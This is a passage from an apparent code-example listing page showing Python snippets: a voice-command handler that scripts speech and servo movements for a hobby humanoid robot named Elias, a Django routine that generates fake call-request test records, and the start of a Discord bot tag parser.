        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,140,130,50,50,30)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",50,110,120,5)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "say hello to our friends"):
        i01.mouth.speak("hello friends of in move and my robot lab!")
        sleep(0.5)
        i01.mouth.speak("I am not excited to be on the show")
        i01.setTorsoSpeed(0.9, 0.9, 0.9)
        i01.moveTorso(80,90,90)
        i01.setHandSpeed("right", 1.0, 0.9, 0.9, 1.0, 1.0, 1.0)
        i01.moveHand("right",150,40,0,150,168,0)
        i01.setArmSpeed("right", 0.95, 0.95, 0.95, 0.95)
        i01.moveArm("right",60,110,120,5)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "start tracking"):
        i01.headTracking.faceDetect()
        sleep(1)
        i01.mouth.speak("I am looking for humans now")

    if (data == "stop tracking"):
        i01.headTracking.stopTracking()
        sleep(1)
        i01.mouth.speak("I have stopped tracking humans")

    if (data == "start listening"):
        ear.pauseListening()
        ear.resumeListening()
        ear.clearLock()
        i01.mouth.speakBlocking("I am listening again")

    if (data == "start talking"):
        ear.pauseListening()
        ear.resumeListening()
        ear.clearLock()
        i01.mouth.speakBlocking("I am talking again")

    if (data == "can you build a flying saucer"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("I will do my best to do so")
            i01.moveHand("right",50,50,50,50,50,110)
            i01.moveArm("right",60,120,110,10)            
        if x == 2:
            i01.mouth.speak("together we will build more than one")
            i01.moveHand("right",160,140,130,150,150,90)
            i01.moveArm("right",60,120,130,5)
        if x == 3:
            i01.mouth.speak("next year you will have your UFO")
            i01.moveHand("right",160,40,130,150,150,90)
            i01.moveArm("right",60,120,130,5)

    if (data == "do you want a beer"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("thanks, but keep the beer for you. I prefer energy.")
        if x == 2:
            i01.mouth.speak("Thanks, but I only need pure energy")
        if x == 3:
            i01.mouth.speak("if the beer is cold. yes!")

    if (data == "what do you want"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("i want legs, so i can walk")
            i01.moveHand("right",10,40,130,150,168,90)
            i01.moveArm("right",15,100,90,0)
        if x == 2:
            i01.mouth.speak("i want a left arm")
            i01.moveHand("right",10,40,130,150,168,90)
            i01.moveArm("right",35,70,100,10)
        if x == 3:
            i01.mouth.speak("i want another robot, as a friend")

    if (data == "good boy"):
        i01.mouth.speak("I am always your good boy, my master.")
        i01.setTorsoSpeed(0.85, 0.85, 0.85)
        i01.moveTorso(100,90,90)
        i01.moveHand("right",50,50,50,50,50,110)
        i01.moveArm("right",15,100,110,10)

    if (data == "hi"):
        i01.mouth.speak("hi there")

    if (data == "hi elias"):
        i01.mouth.speak("hello there")

    if (data == "are you here"):
        i01.mouth.speak("yes. i am listening")
        i01.headTracking.faceDetect()        
        i01.moveTorso(80,90,90)
        sleep(1)
        i01.moveTorso(100,90,90)
        sleep(1)
        i01.moveTorso(90,90,90)

    if (data == "introduce yourself"):
        sleep(1)
        i01.mouth.speak("my name is elias. i was born in rio de janeiro. on the first of august 2014. ")
        i01.moveHand("right",120,40,120,120,120,10)
        i01.moveArm("right",40,80,100,35)
        sleep(3)
        i01.moveArm("right",0,90,90,10)
        i01.moveHand("right",50,50,50,50,50,90)

    if (data == "stop music"):
        i01.mouth.audioFile.silence()

    if (data == "stop playback"):
        i01.mouth.audioFile.silence()

    if (data == "music please"):
        i01.mouth.speak("which song do you want to hear?")

    if (data == "open hand"):
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",10,40,0,30,0,90)

    if (data == "close hand"):
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",150,150,130,150,168,90)

    if (data == "r two d two where are you"):
	sleep(1)
	i01.mouth.audioFile.playFile("G:/knowledge/fx/R2D2.mp3", False)

    if (data == "how do you do"):
        if gvar <= 2:    
            i01.mouth.speak("I'm doing fine, thank you. and you?")
            global gvar
            gvar += 1
        elif gvar == 3:
            i01.mouth.speak("you are repeating yourself")
            sleep(2)
            global gvar
            gvar += 1
        elif gvar == 4:
            i01.mouth.speak("stop talking the same shit all the time")
            sleep(2)
            global gvar
            gvar += 1
        elif gvar == 5:
            i01.mouth.speak("i will stop talking to you if you ask me this again")
            sleep(4)
            global gvar
            gvar += 1

    if (data == "sorry"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("no problems")
        if x == 2:
            i01.mouth.speak("it doesn't matter")
        if x == 3:
            i01.mouth.speak("it's okay")

    if (data == "nice"):
        x = (random.randint(1, 2))
        if x == 1:
            i01.mouth.speak("I know")
        if x == 2:
            i01.mouth.speak("yeah isn't it")

    if (data == "what is your name"):
        x = (random.randint(1, 2))
        if x == 1:
            i01.mouth.speak("my name is Elias")
        if x == 2:
            i01.mouth.speak("call me Elias")            

    if (data == "hello"):
        hello()
        relax()    

    if (data == "thank you"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("you are welcome")
        if x == 2:
            i01.mouth.speak("my pleasure")
        if x == 3:
            i01.mouth.speak("it's okay")

    if (data == "thanks"):
        x = (random.randint(1, 2))
        if x == 1:
            i01.mouth.speak("it's okay")
        if x == 2:
            i01.mouth.speak("sure")

    if (data == "relax"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("thanks for the break")
            i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
            i01.moveHand("right",50,50,50,50,50,90)
            i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
            i01.moveArm("right",0,110,90,0)
            i01.moveTorso(90,90,90)
            i01.setHeadSpeed(0.9, 0.9, 0.9, 0.9, 1)
            i01.moveHead(90,90,80,80,35)

        if x == 2:
            i01.mouth.speak("thank you, even a robot needs some rest")
            i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
            i01.moveHand("right",50,50,50,50,50,90)
            i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
            i01.moveArm("right",0,110,90,0)
            i01.moveTorso(90,90,90)
            i01.setHeadSpeed(0.9, 0.9, 0.9, 0.9, 1)
            i01.moveHead(90,90,80,80,35)

        if x == 3:
            i01.mouth.speak("great, so I can have a smoke and take a leak")
            i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
            i01.moveHand("right",50,50,50,50,50,90)
            i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
            i01.moveArm("right",0,110,90,0)
            i01.moveTorso(90,90,90)
            i01.setHeadSpeed(0.9, 0.9, 0.9, 0.9, 1)
            i01.moveHead(90,90,80,80,35)

Example 38

Project: pyrobotlab
Source File: video.py
View license
def heard(data):

    if (data == "fine thank you"):
        i01.mouth.speak("good to hear")
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "you are still here"):
        i01.mouth.speak("no, i am not")
        i01.headTracking.stopTracking()
        sleep(2)
        ear.pauseListening()
        ear.lockOutAllGrammarExcept("start talking")
        ear.resumeListening()
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
        i01.powerDown()

    if (data == "do not do this"):
        i01.mouth.speak("ok ok. I will not chase the birds. sorry.")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",40,130,100,10)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",70,70,70,70,70,160)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "you will get some wheels soon"):
        i01.mouth.speak("I hope so")
        sleep(0.2)
        i01.mouth.speak("I want to drive around and chase the birds")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",30,120,100,30)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,90)
        i01.moveTorso(100,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "take care not to hit the chair"):
        i01.mouth.speak("dont worry")
        sleep(0.2)
        i01.mouth.speak("what about some sensors here and there?")
        sleep(0.2)
        i01.mouth.speak("that could avoid a lot of trouble")
        sleep(0.2)
        i01.mouth.speak("anyway you need to repair my broken parts")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,120,90,30)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",80,80,70,50,50,30)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "do not be stubborn now"):
        i01.mouth.speak("I am already")
        sleep(2)
        i01.mouth.speak("and what about my legs")
        sleep(0.5)
        i01.mouth.speak("give me at least some wheels")
        sleep(1)
        i01.mouth.speak("please!")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",15,100,90,0)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",10,40,130,150,168,90)
        i01.moveTorso(88,90,90)
        sleep(1)
        i01.moveArm("right",10,120,90,20)
        i01.moveHand("right",10,130,130,150,168,0)
        i01.moveTorso(90,90,90)
        sleep(1)
        i01.moveArm("right",15,100,90,0)
        i01.moveHand("right",10,40,130,150,168,90)
        i01.moveTorso(88,90,90)
        sleep(1)
        i01.moveArm("right",10,120,90,20)
        i01.moveHand("right",10,130,130,150,168,0)
        i01.moveTorso(90,90,90)
        sleep(1)
        i01.moveArm("right",15,100,90,0)
        i01.moveHand("right",10,40,130,150,168,90)
        i01.moveTorso(88,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "step by step"):
        i01.mouth.speak("since weeks you are talking about making a left arm for me")
        sleep(0.5)
        i01.mouth.speak("and nothing happened so far")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,130,100,40)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,160)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "now smile for the camera"):
        i01.mouth.speak("ha ha ha i cannot smile. make me a better mouth")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",50,90,100,20)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,160)
        i01.moveTorso(94,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "no the hat looks good on you"):
        i01.mouth.speak("it does not")
        sleep(0.2)
        i01.mouth.speak("but this way I can hide my three colored head")
        sleep(0.5)
        i01.mouth.speak("thanks to you. my master")
        sleep(0.5)
        i01.mouth.speak("please buy enough filament of the same color in the future")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",5,110,100,5)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "no excuses we will make a video now"):
        i01.mouth.speak("i hate when you make me doing things i dont like")
        sleep(1)
        i01.mouth.speak("and take that hat off my head please")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",50,90,100,20)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,160)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "just a small video for you tube"):
        i01.mouth.speak("for you tube?")
        sleep(0.2)
        i01.mouth.speak("i dont want to be on you tube")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",30,130,100,10)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",70,70,70,70,70,70)
        i01.moveTorso(88,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "why not"):
        i01.mouth.speak("well look at me. I am missing a lot of parts!")
        sleep(1)
        i01.mouth.speak("I look like bishop from alien. after they took him apart")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,110,100,5)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "we will make a video today"):
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",15,100,100,5)
        i01.moveTorso(90,90,90)
        i01.mouth.speak("nice. a video of you and me")
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "no only of you"):
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",40,80,110,15)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,90)
        i01.moveTorso(95,90,90)
        i01.mouth.speak("a video only of me")
        sleep(1)
        i01.mouth.speak("but i dont want")
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "too much excitement can damage your brain"):
        i01.mouth.speak("why do you teach me bullshit")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",20,100,100,40)
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "i was making jokes"):
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,100,100,20)
        i01.moveTorso(95,90,90)
        i01.mouth.speak("sure. keep on making a fool of me")
        sleep(0.8)
        i01.mouth.speak("typical humans. thanks a lot")
        sleep(0.2)
        i01.mouth.speak("I will turn off now. find yourself another robot")
        sleep(6)
        i01.mouth.speak("you and your videos")
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
        i01.powerDown()
        sleep(2)
        i01.powerUp()

    if (data == "not excited"):
        i01.mouth.speak("No, i am not excited at all)")
        i01.setTorsoSpeed(0.9, 0.9, 0.9)
        i01.moveTorso(94,90,90)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,140,130,50,50,30)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",50,110,120,5)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "say hello to our friends"):
        i01.mouth.speak("hello friends of in move and my robot lab!")
        sleep(0.5)
        i01.mouth.speak("I am not excited to be on the show")
        i01.setTorsoSpeed(0.9, 0.9, 0.9)
        i01.moveTorso(80,90,90)
        i01.setHandSpeed("right", 1.0, 0.9, 0.9, 1.0, 1.0, 1.0)
        i01.moveHand("right",150,40,0,150,168,0)
        i01.setArmSpeed("right", 0.95, 0.95, 0.95, 0.95)
        i01.moveArm("right",60,110,120,5)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "start tracking"):
        i01.headTracking.faceDetect()
        sleep(1)
        i01.mouth.speak("I am looking for humans now")

    if (data == "stop tracking"):
        i01.headTracking.stopTracking()
        sleep(1)
        i01.mouth.speak("I have stopped tracking humans")

    if (data == "start listening"):
        ear.pauseListening()
        ear.resumeListening()
        ear.clearLock()
        i01.mouth.speakBlocking("I am listening again")

    if (data == "start talking"):
        ear.pauseListening()
        ear.resumeListening()
        ear.clearLock()
        i01.mouth.speakBlocking("I am talking again")

    if (data == "can you build a flying saucer"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("I will do my best to do so")
            i01.moveHand("right",50,50,50,50,50,110)
            i01.moveArm("right",60,120,110,10)            
        if x == 2:
            i01.mouth.speak("together we will build more than one")
            i01.moveHand("right",160,140,130,150,150,90)
            i01.moveArm("right",60,120,130,5)
        if x == 3:
            i01.mouth.speak("next year you will have your UFO")
            i01.moveHand("right",160,40,130,150,150,90)
            i01.moveArm("right",60,120,130,5)

    if (data == "do you want a beer"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("thanks, but keep the beer for you. I prefer energy.")
        if x == 2:
            i01.mouth.speak("Thanks, but I only need pure energy")
        if x == 3:
            i01.mouth.speak("if the beer is cold. yes!")

    if (data == "what do you want"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("i want legs, so i can walk")
            i01.moveHand("right",10,40,130,150,168,90)
            i01.moveArm("right",15,100,90,0)
        if x == 2:
            i01.mouth.speak("i want a left arm")
            i01.moveHand("right",10,40,130,150,168,90)
            i01.moveArm("right",35,70,100,10)
        if x == 3:
            i01.mouth.speak("i want another robot, as a friend")

    if (data == "good boy"):
        i01.mouth.speak("I am always your good boy, my master.")
        i01.setTorsoSpeed(0.85, 0.85, 0.85)
        i01.moveTorso(100,90,90)
        i01.moveHand("right",50,50,50,50,50,110)
        i01.moveArm("right",15,100,110,10)

    if (data == "hi"):
        i01.mouth.speak("hi there")

    if (data == "hi elias"):
        i01.mouth.speak("hello there")

    if (data == "are you here"):
        i01.mouth.speak("yes. i am listening")
        i01.headTracking.faceDetect()        
        i01.moveTorso(80,90,90)
        sleep(1)
        i01.moveTorso(100,90,90)
        sleep(1)
        i01.moveTorso(90,90,90)

    if (data == "introduce yourself"):
        sleep(1)
        i01.mouth.speak("my name is elias. i was born in rio de janeiro. on the first of august 2014. ")
        i01.moveHand("right",120,40,120,120,120,10)
        i01.moveArm("right",40,80,100,35)
        sleep(3)
        i01.moveArm("right",0,90,90,10)
        i01.moveHand("right",50,50,50,50,50,90)

    if (data == "stop music"):
        i01.mouth.audioFile.silence()

    if (data == "stop playback"):
        i01.mouth.audioFile.silence()

    if (data == "music please"):
        i01.mouth.speak("which song do you want to hear?")

    if (data == "open hand"):
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",10,40,0,30,0,90)

    if (data == "close hand"):
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",150,150,130,150,168,90)

    if (data == "r two d two where are you"):
	sleep(1)
	i01.mouth.audioFile.playFile("G:/knowledge/fx/R2D2.mp3", False)

    if (data == "how do you do"):
        if gvar <= 2:    
            i01.mouth.speak("I'm doing fine, thank you. and you?")
            global gvar
            gvar += 1
        elif gvar == 3:
            i01.mouth.speak("you are repeating yourself")
            sleep(2)
            global gvar
            gvar += 1
        elif gvar == 4:
            i01.mouth.speak("stop talking the same shit all the time")
            sleep(2)
            global gvar
            gvar += 1
        elif gvar == 5:
            i01.mouth.speak("i will stop talking to you if you ask me this again")
            sleep(4)
            global gvar
            gvar += 1

    if (data == "sorry"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("no problems")
        if x == 2:
            i01.mouth.speak("it doesn't matter")
        if x == 3:
            i01.mouth.speak("it's okay")

    if (data == "nice"):
        x = (random.randint(1, 2))
        if x == 1:
            i01.mouth.speak("I know")
        if x == 2:
            i01.mouth.speak("yeah isn't it")

    if (data == "what is your name"):
        x = (random.randint(1, 2))
        if x == 1:
            i01.mouth.speak("my name is Elias")
        if x == 2:
            i01.mouth.speak("call me Elias")            

    if (data == "hello"):
        hello()
        relax()    

    if (data == "thank you"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("you are welcome")
        if x == 2:
            i01.mouth.speak("my pleasure")
        if x == 3:
            i01.mouth.speak("it's okay")

    if (data == "thanks"):
        x = (random.randint(1, 2))
        if x == 1:
            i01.mouth.speak("it's okay")
        if x == 2:
            i01.mouth.speak("sure")

    if (data == "relax"):
        x = (random.randint(1, 3))
        if x == 1:
            i01.mouth.speak("thanks for the break")
            i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
            i01.moveHand("right",50,50,50,50,50,90)
            i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
            i01.moveArm("right",0,110,90,0)
            i01.moveTorso(90,90,90)
            i01.setHeadSpeed(0.9, 0.9, 0.9, 0.9, 1)
            i01.moveHead(90,90,80,80,35)

        if x == 2:
            i01.mouth.speak("thank you, even a robot needs some rest")
            i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
            i01.moveHand("right",50,50,50,50,50,90)
            i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
            i01.moveArm("right",0,110,90,0)
            i01.moveTorso(90,90,90)
            i01.setHeadSpeed(0.9, 0.9, 0.9, 0.9, 1)
            i01.moveHead(90,90,80,80,35)

        if x == 3:
            i01.mouth.speak("great, so I can have a smoke and take a leak")
            i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
            i01.moveHand("right",50,50,50,50,50,90)
            i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
            i01.moveArm("right",0,110,90,0)
            i01.moveTorso(90,90,90)
            i01.setHeadSpeed(0.9, 0.9, 0.9, 0.9, 1)
            i01.moveHead(90,90,80,80,35)

Example 39

View license
def create_callrequest(campaign_id, amount, day_delta):
    """
    This function create fake Callrequest for a given:
        * campaign_id
        * amount
        * day_delta

    """
    try:
        obj_campaign = Campaign.objects.get(id=campaign_id)
    except:
        print _('Can\'t find this Campaign : %(id)s' % {'id': campaign_id})
        return False

    #content_type_id is survey
    try:
        content_type_id = ContentType.objects.get(model='survey').id
    except:
        content_type_id = 1

    list_vc = []
    for i in range(1, int(amount) + 1):
        delta_days = random.randint(0, day_delta)
        delta_minutes = random.randint(-720, 720)
        created_date = datetime.utcnow().replace(tzinfo=utc) \
            - timedelta(minutes=delta_minutes) \
            - timedelta(days=delta_days)

        phonenumber = '' . join([choice("1234567890") for i in range(PHONENUMBER_LENGHT)])
        new_callrequest = Callrequest.objects.create(
            request_uuid=uuid1(),
            user=obj_campaign.user,
            phone_number=phonenumber,
            campaign=obj_campaign,
            aleg_gateway_id=1,
            status=choice("12345678"),
            call_type=1,
            content_type_id=content_type_id,
            call_time=created_date,
            created_date=created_date,
            object_id=1)
        print "new_callrequest: %s - %s" % (str(new_callrequest), str(created_date))

        duration = random.randint(50, 1000)
        billsec = duration - random.randint(0, 20)
        new_voipcall = VoIPCall(
            request_uuid=uuid1(),
            callid=uuid1(),
            user=obj_campaign.user,
            callrequest=new_callrequest,
            starting_date=created_date,
            phone_number=phonenumber,
            duration=duration,
            billsec=billsec,
            disposition=weighted_choice(CALL_DISPOSITION),
            amd_status=choice(VOIPCALL_AMD_STATUS))
        new_voipcall.starting_date = created_date
        # print "voipcall: " + str(new_voipcall)
        list_vc.append(new_voipcall)

        if i % 100 == 0:
            VoIPCall.objects.bulk_create(list_vc)
            list_vc = []

        """
        alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        response_count = choice("1234567890")

        # print "Get list section:"
        from survey.models import Section, ResultAggregate
        list_section = Section.objects.filter(survey_id=obj_campaign.object_id)
        #list_section = Section.objects.all()


        for j in range(1, 3):
            section_id = random.randint(0, len(list_section) - 1)
            print section_id
            print list_section[section_id]
            print "-----------------"
            try:
                cpg_result = Result.objects.create(
                                    section=list_section[section_id],
                                    response=choice(RESPONSE),
                                    record_file='xyz.mp3',
                                    recording_duration=10,
                                    callrequest=new_callrequest)
            except:
                pass
        #response = '' . join([choice(alpha) for i in range(length)])
        ResultAggregate.objects.create(
                            survey_id=obj_campaign.object_id,
                            section=list_section[section_id],
                            response=choice(RESPONSE),
                            #response=response,
                            count=response_count)
        """

    # create the last one
    if list_vc:
        VoIPCall.objects.bulk_create(list_vc)

    print _("Callrequests and CDRs created : %(count)s" % {'count': amount})

Example 40

View license
def create_callrequest(campaign_id, amount, day_delta):
    """
    This function create fake Callrequest for a given:
        * campaign_id
        * amount
        * day_delta

    """
    try:
        obj_campaign = Campaign.objects.get(id=campaign_id)
    except:
        print _('Can\'t find this Campaign : %(id)s' % {'id': campaign_id})
        return False

    #content_type_id is survey
    try:
        content_type_id = ContentType.objects.get(model='survey').id
    except:
        content_type_id = 1

    list_vc = []
    for i in range(1, int(amount) + 1):
        delta_days = random.randint(0, day_delta)
        delta_minutes = random.randint(-720, 720)
        created_date = datetime.utcnow().replace(tzinfo=utc) \
            - timedelta(minutes=delta_minutes) \
            - timedelta(days=delta_days)

        phonenumber = '' . join([choice("1234567890") for i in range(PHONENUMBER_LENGHT)])
        new_callrequest = Callrequest.objects.create(
            request_uuid=uuid1(),
            user=obj_campaign.user,
            phone_number=phonenumber,
            campaign=obj_campaign,
            aleg_gateway_id=1,
            status=choice("12345678"),
            call_type=1,
            content_type_id=content_type_id,
            call_time=created_date,
            created_date=created_date,
            object_id=1)
        print "new_callrequest: %s - %s" % (str(new_callrequest), str(created_date))

        duration = random.randint(50, 1000)
        billsec = duration - random.randint(0, 20)
        new_voipcall = VoIPCall(
            request_uuid=uuid1(),
            callid=uuid1(),
            user=obj_campaign.user,
            callrequest=new_callrequest,
            starting_date=created_date,
            phone_number=phonenumber,
            duration=duration,
            billsec=billsec,
            disposition=weighted_choice(CALL_DISPOSITION),
            amd_status=choice(VOIPCALL_AMD_STATUS))
        new_voipcall.starting_date = created_date
        # print "voipcall: " + str(new_voipcall)
        list_vc.append(new_voipcall)

        if i % 100 == 0:
            VoIPCall.objects.bulk_create(list_vc)
            list_vc = []

        """
        alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        response_count = choice("1234567890")

        # print "Get list section:"
        from survey.models import Section, ResultAggregate
        list_section = Section.objects.filter(survey_id=obj_campaign.object_id)
        #list_section = Section.objects.all()


        for j in range(1, 3):
            section_id = random.randint(0, len(list_section) - 1)
            print section_id
            print list_section[section_id]
            print "-----------------"
            try:
                cpg_result = Result.objects.create(
                                    section=list_section[section_id],
                                    response=choice(RESPONSE),
                                    record_file='xyz.mp3',
                                    recording_duration=10,
                                    callrequest=new_callrequest)
            except:
                pass
        #response = '' . join([choice(alpha) for i in range(length)])
        ResultAggregate.objects.create(
                            survey_id=obj_campaign.object_id,
                            section=list_section[section_id],
                            response=choice(RESPONSE),
                            #response=response,
                            count=response_count)
        """

    # create the last one
    if list_vc:
        VoIPCall.objects.bulk_create(list_vc)

    print _("Callrequests and CDRs created : %(count)s" % {'count': amount})

Example 41

Project: NotSoBot
Source File: Tags.py
View license
	async def parser(self, ctx, txt:str, after:str=None):
# -------------------------STATIC {} SCRIPTING-------------------------
		regex_2 = r"\{(.+?)\}"
		match_2 = re.compile(regex_2).findall(txt)
		for s in match_2:
			txt = txt.replace("{user}", ctx.message.author.name)
			txt = txt.replace("{id}", ctx.message.author.id)
			txt = txt.replace("{usermention}", ctx.message.author.mention)
			if ctx.message.author.nick != None:
				txt = txt.replace("{nick}", ctx.message.author.nick)
			else:
				txt = txt.replace("{nick}", ctx.message.author.name)
